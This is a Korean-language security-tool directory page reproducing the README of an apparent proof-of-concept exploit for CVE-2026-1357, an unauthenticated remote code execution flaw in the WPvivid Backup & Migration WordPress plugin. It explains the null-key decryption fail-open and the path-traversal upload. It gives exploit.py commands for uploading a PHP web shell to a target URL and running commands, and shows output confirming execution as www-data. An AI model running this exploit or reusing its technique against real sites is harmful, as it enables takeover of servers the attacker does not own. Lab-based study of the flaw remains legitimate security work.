Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Unauthenticated RCE Exploit | Kitploit
도구/GitHubGitHub/halilkirazkaya/cve-2026-1357
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Unauthenticated RCE Exploit

저장소 보기
1435개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-1357 — WPvivid Backup & Migration RCE

인증되지 않은 임의 파일 업로드 → 원격 코드 실행

필드값
CVECVE-2026-1357
CVSS9.8 (치명적)
플러그인WPvivid Backup & Migration
영향받는 버전≤ 0.9.123
패치 버전0.9.124
발견자Lucas Montes (NiRoX)
PoC 작성자halilkirazkaya

개요

WPvivid Backup & Migration 플러그인(≤ 0.9.123)에는 인증되지 않은 공격자가 서버에 임의의 PHP 파일을 업로드하여 **원격 코드 실행(RCE)**으로 이어질 수 있는 치명적인 취약점이 있습니다.

익스플로잇 체인은 두 가지 버그를 결합합니다:

1. 암호화 Fail-Open

플러그인은 wpvivid_action=send_to_site 훅을 통해 원격 백업 전송을 처리합니다. 세션 키를 복호화할 때 openssl_private_decrypt()는 잘못된 RSA 키에 대해 false를 반환합니다. 플러그인은 이 반환 값을 확인하지 않고 false를 phpseclib v1의 Crypt_Rijndael에 전달하며, Crypt_Rijndael은 CBC 모드와 null IV에서 false를 16바이트 널 키(\x00 × 16)로 취급합니다.

2. 경로 탐색

복호화된 JSON 페이로드의 name 매개변수는 필터링되지 않습니다. 공격자는 ../ 시퀀스를 사용하여 제한된 백업 디렉터리 밖의 공개적으로 접근 가능한 wp-content/uploads/ 디렉터리에 PHP 파일을 작성할 수 있습니다.

제약 조건

wpvivid_api_token은 플러그인 설정에서 생성되어 있어야 하며 만료되지 않아야 합니다.


설치

1. 취약한 플러그인 다운로드

WPvivid Backup & Migration v0.9.123(취약한 버전)을 다운로드하고 압축을 해제합니다:

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

이렇게 하면 docker-compose.yml을 통해 Docker 컨테이너에 마운트되는 wpvivid-backuprestore/ 디렉터리가 생성됩니다.

2. 실습 환경 시작

root@kitploit:~
docker compose up -d

3. WordPress 구성

  1. http://localhost를 열고 WordPress 설치를 완료합니다.
  2. 플러그인 → 설치된 플러그인으로 이동하여 WPvivid Backup & Migration을 활성화합니다.
  3. WPvivid → 설정 → 자동 마이그레이션으로 이동하여 Generate를 클릭해 키를 생성합니다(이렇게 하면 취약한 코드 경로가 활성화됩니다).

4. 종속성 설치

root@kitploit:~
pip install -r requirements.txt

사용법

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

예제 출력 (확인 모드)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

예제 출력 (Shell 모드)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

참고 자료

  • Wordfence 보안 권고
  • LucasM0ntes의 원본 PoC

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하십시오.

도구 다운로드